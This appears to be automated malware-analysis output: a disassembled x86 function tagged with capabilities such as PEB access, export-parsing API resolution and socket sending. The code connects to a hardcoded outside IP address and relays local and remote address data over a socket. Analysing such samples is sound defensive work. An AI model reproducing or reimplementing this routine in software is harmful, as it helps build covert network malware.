Function at 0x10001880
Capabilities:
Access peb ldr_data
Get local ipv4 addresses
Get socket information
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1000d143
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x580
mov eax, dword [0x100110f4]
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0xc], ebx
mov esi, 0xf
mov dword [esp + 0x580], eax
push edi
mov dword [esp + 0xa8], esi
mov dword [esp + 0xa4], ebx
mov byte [esp + 0x94], bl
mov dword [esp + 0x594], ebx
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x94]
push ecx
mov ecx, dword [ebp + 0x14]
mov byte [esp + 0x59c], 1
call fcn.100016e0
mov dword [esp + 0x30], esi
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x1c], bl
mov eax, dword [esp + 0xa4]
push ebx
lea edx, [esp + 0x20]
push edx
push eax
push ebx
lea ecx, [esp + 0xa0]
mov byte [esp + 0x5a4], 2
mov dword [esp + 0x20], 1
call fcn.10001020
test eax, eax
je 0x10001974
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
mov edx, dword [esp + 0x6c]
push ebx
lea ecx, [esp + 0x3c]
push ecx
mov eax, 3
push edx
push ebx
lea ecx, [esp + 0x68]
mov dword [esp + 0x5a4], eax
mov dword [esp + 0x20], eax
call fcn.10001020
test eax, eax
mov byte [esp + 0xc], bl
je 0x10001979
mov byte [esp + 0xc], 1
test byte [esp + 0x10], 2
mov edi, 0x10
je 0x100019a5
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x4c]
and ecx, 0xfffffffd
cmp eax, edi
mov dword [esp + 0x10], ecx
jb 0x100019a5
mov eax, dword [esp + 0x38]
push eax
call fcn.10005c9d
add esp, 4
test byte [esp + 0x10], 1
mov dword [esp + 0x594], 1
je 0x100019ca
cmp dword [esp + 0x30], edi
jb 0x100019ca
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.10005c9d
add esp, 4
cmp byte [esp + 0xc], bl
je 0x10001a09
cmp dword [esp + 0x70], edi
jb 0x100019e3
mov edx, dword [esp + 0x5c]
push edx
call fcn.10005c9d
add esp, 4
cmp dword [esp + 0xa8], edi
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
jb 0x100020dc
mov eax, dword [esp + 0x94]
push eax
jmp 0x100020d4
push 1
push ebx
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x9c]
mov byte [esp + 0x18], 0x3a
call fcn.100010a0
mov edi, eax
mov dword [esp + 0x8c], esi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
cmp edi, 0xffffffff
mov byte [esp + 0x594], 5
je 0x10002076
push edi
push ebx
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x9c]
call fcn.100016a0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x80]
mov byte [esp + 0x5a0], 6
call fcn.10001480
cmp dword [esp + 0x30], 0x10
mov byte [esp + 0x594], 5
jb 0x10001aa3
mov eax, dword [esp + 0x1c]
push eax
call fcn.10005c9d
add esp, 4
push 0xffffffffffffffff
inc edi
push edi
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x9c]
call fcn.100016a0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0xb8]
mov byte [esp + 0x5a0], 7
call fcn.10001480
mov eax, dword [esp + 0x30]
mov edi, 0x10
cmp eax, edi
mov byte [esp + 0x594], 5
jb 0x10001af2
mov edx, dword [esp + 0x1c]
push edx
call fcn.10005c9d
add esp, 4
push 0xd
push str.183.131.83.49
lea ecx, [esp + 0x3c]
mov dword [esp + 0x54], esi
mov dword [esp + 0x50], ebx
mov byte [esp + 0x40], bl
call fcn.10001570
lea eax, [esp + 0x168]
push eax
lea ecx, [esp + 0x38]
push 0x8344
push ecx
call fcn.10001170
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x58]
add esp, 0xc
cmp eax, edi
jb 0x10001b41
mov edx, dword [esp + 0x38]
push edx
call fcn.10005c9d
add esp, 4
cmp dword [esp + 0x10], 0xffffffff
jne 0x10001be4
cmp dword [esp + 0xc4], edi
jb 0x10001b65
mov eax, dword [esp + 0xb0]
push eax
call fcn.10005c9d
add esp, 4
cmp dword [esp + 0x8c], edi
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
jb 0x10001b90
mov ecx, dword [esp + 0x78]
push ecx
call fcn.10005c9d
add esp, 4
cmp dword [esp + 0x70], edi
mov dword [esp + 0x8c], esi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
jb 0x10001bb5
mov edx, dword [esp + 0x5c]
push edx
call fcn.10005c9d
add esp, 4
cmp dword [esp + 0xa8], edi
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
jb 0x10001bda
mov eax, dword [esp + 0x94]
push eax
call fcn.10005c9d
add esp, 4
mov eax, 1
jmp 0x100020df
mov esi, dword [ebp + 0x14]
mov ecx, 0x100
lea edi, [esp + 0x178]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
movzx ecx, word [esp + 0x178]
mov esi, dword [esp + 0x10]
push ebx
push ecx
lea edx, [esp + 0x180]
push edx
push esi
mov byte [esp + 0x18a], 1
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [esp + 0xc4]
mov edi, 0x10
cmp eax, edi
mov eax, dword [esp + 0xb0]
jae 0x10001c3b
lea eax, [esp + 0xb0]
push eax
call fcn.100062ee
lea ecx, [esp + 0x15c]
push ecx
push eax
lea edx, [esp + 0x80]
push edx
mov dword [esp + 0x64], eax
call fcn.10001170
add esp, 0x10
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
jne 0x10001c9b
lea ecx, [esp + 0xac]
call fcn.100034c0
lea ecx, [esp + 0x74]
call fcn.100034c0
lea ecx, [esp + 0x58]
call fcn.100034c0
lea ecx, [esp + 0x90]
call fcn.100034c0
mov eax, 2
jmp 0x100020df
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x12c]
push ecx
push esi
mov dword [esp + 0x5c], edi
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x12a]
mov esi, dword [sym.imp.WS2_32.dll_ntohs]
xor edx, edx
mov dword [esp + 0xc9], edx
mov dword [esp + 0xcd], edx
mov dword [esp + 0xd1], edx
mov dword [esp + 0xd5], edx
mov dword [esp + 0xd9], edx
mov dword [esp + 0xdd], edx
mov dword [esp + 0xe1], edx
push eax
mov byte [esp + 0xcc], bl
mov byte [esp + 0xe9], dl
call esi
mov edx, dword [esp + 0x12c]
mov edi, dword [sym.imp.WS2_32.dll_inet_ntoa]
movzx ecx, ax
push ecx
push edx
call edi
push eax
lea eax, [esp + 0xd0]
push str._s:_d
push eax
call fcn.1000620e
mov eax, dword [esp + 0x24]
add esp, 0x10
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x12c]
push edx
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov edx, dword [esp + 0x12a]
xor ecx, ecx
mov dword [esp + 0xe9], ecx
mov dword [esp + 0xed], ecx
mov dword [esp + 0xf1], ecx
mov dword [esp + 0xf5], ecx
mov dword [esp + 0xf9], ecx
mov dword [esp + 0xfd], ecx
mov dword [esp + 0x101], ecx
push edx
mov byte [esp + 0xec], bl
mov byte [esp + 0x109], cl
call esi
mov ecx, dword [esp + 0x12c]
movzx eax, ax
push eax
push ecx
call edi
push eax
lea edx, [esp + 0xf0]
push str._s:_d
push edx
call fcn.1000620e
lea eax, [esp + 0xf8]
push eax
lea ecx, [esp + 0xdc]
push ecx
push 0x1000e190
call fcn.100061a8
add esp, 0x1c
lea edx, [esp + 0xe8]
push edx
lea ecx, [esp + 0x38]
call fcn.10001660
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x598], 8
call fcn.10001660
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x38]
push edx
push eax
lea ecx, [esp + 0x24]
push ecx
mov byte [esp + 0x5a4], 9
call fcn.100051e0
mov ecx, eax
call fcn.10005250
lea ecx, [esp + 0x18]
call fcn.100034c0
lea ecx, [esp + 0x34]
mov byte [esp + 0x594], 5
call fcn.100034c0
mov eax, dword [esp + 0x8c]
xor edx, edx
mov dword [esp + 0x109], edx
mov dword [esp + 0x10d], edx
mov dword [esp + 0x111], edx
mov dword [esp + 0x115], edx
mov dword [esp + 0x119], edx
mov dword [esp + 0x11d], edx
mov dword [esp + 0x121], edx
cmp eax, 0x10
mov eax, dword [esp + 0x78]
mov byte [esp + 0x108], bl
mov byte [esp + 0x125], dl
jae 0x10001e90
lea eax, [esp + 0x78]
mov ecx, dword [esp + 0x54]
push ecx
push eax
lea edx, [esp + 0x110]
push str._s:_d
push edx
call fcn.1000620e
add esp, 0x10
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x38]
call fcn.10001660
lea ecx, [esp + 0xe8]
push ecx
lea ecx, [esp + 0x1c]
mov byte [esp + 0x598], 0xa
call fcn.10001660
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x1c]
push eax
mov byte [esp + 0x59c], 0xb
call fcn.100051e0
mov ecx, eax
call fcn.100052b0
lea ecx, [esp + 0x18]
call fcn.100034c0
lea ecx, [esp + 0x34]
mov byte [esp + 0x594], 5
call fcn.100034c0
mov edx, dword [ebp + 0x10]
xor ecx, ecx
mov dword [esp + 0x139], ecx
mov dword [esp + 0x13d], ecx
mov dword [esp + 0x141], ecx
xor eax, eax
mov ax, word [edx + 2]
mov dword [esp + 0x145], ecx
mov dword [esp + 0x149], ecx
mov dword [esp + 0x14d], ecx
mov dword [esp + 0x151], ecx
mov byte [esp + 0x138], bl
mov byte [esp + 0x155], cl
push eax
call esi
mov edx, dword [ebp + 0x10]
movzx ecx, ax
mov eax, dword [edx + 4]
push ecx
push eax
call edi
push eax
lea ecx, [esp + 0x140]
push str._s:_d
push ecx
call fcn.1000620e
add esp, 0x10
lea edx, [esp + 0x138]
push edx
lea ecx, [esp + 0x38]
call fcn.10001660
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x598], 0xc
call fcn.10001660
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x1c]
push edx
mov byte [esp + 0x59c], 0xd
call fcn.100051e0
mov ecx, eax
call fcn.100052b0
lea ecx, [esp + 0x18]
call fcn.100034c0
mov byte [esp + 0x594], 5
lea ecx, [esp + 0x34]
call fcn.100034c0
mov ecx, dword [esp + 0x10]
mov esi, dword [ebp + 8]
lea eax, [esp + 0x168]
push eax
push ecx
mov ecx, esi
call fcn.10002d10
test al, al
je 0x10002012
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x158]
push edx
push eax
mov ecx, esi
call fcn.10002d10
test al, al
jne 0x10002048
lea ecx, [esp + 0x108]
push ecx
lea ecx, [esp + 0x1c]
or ebx, 0xffffffff
call fcn.10001660
lea edx, [esp + 0x18]
push edx
mov byte [esp + 0x598], 0xe
call fcn.100051e0
mov ecx, eax
call fcn.10005410
lea ecx, [esp + 0x18]
call fcn.100034c0
lea ecx, [esp + 0xac]
call fcn.100034c0
lea ecx, [esp + 0x74]
call fcn.100034c0
lea ecx, [esp + 0x58]
call fcn.100034c0
lea ecx, [esp + 0x90]
call fcn.100034c0
mov eax, ebx
jmp 0x100020df
mov eax, dword [esp + 0x70]
mov edi, 0x10
cmp eax, edi
mov dword [esp + 0xc4], esi
mov dword [esp + 0xc0], ebx
mov byte [esp + 0xb0], bl
mov dword [esp + 0x8c], esi
mov dword [esp + 0x88], ebx
mov byte [esp + 0x78], bl
jb 0x100020b7
mov eax, dword [esp + 0x5c]
push eax
call fcn.10005c9d
add esp, 4
cmp dword [esp + 0xa8], edi
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
jb 0x100020dc
mov ecx, dword [esp + 0x94]
push ecx
call fcn.10005c9d
add esp, 4
or eax, 0xffffffff
mov ecx, dword [esp + 0x58c]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x584]
call fcn.10006324
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10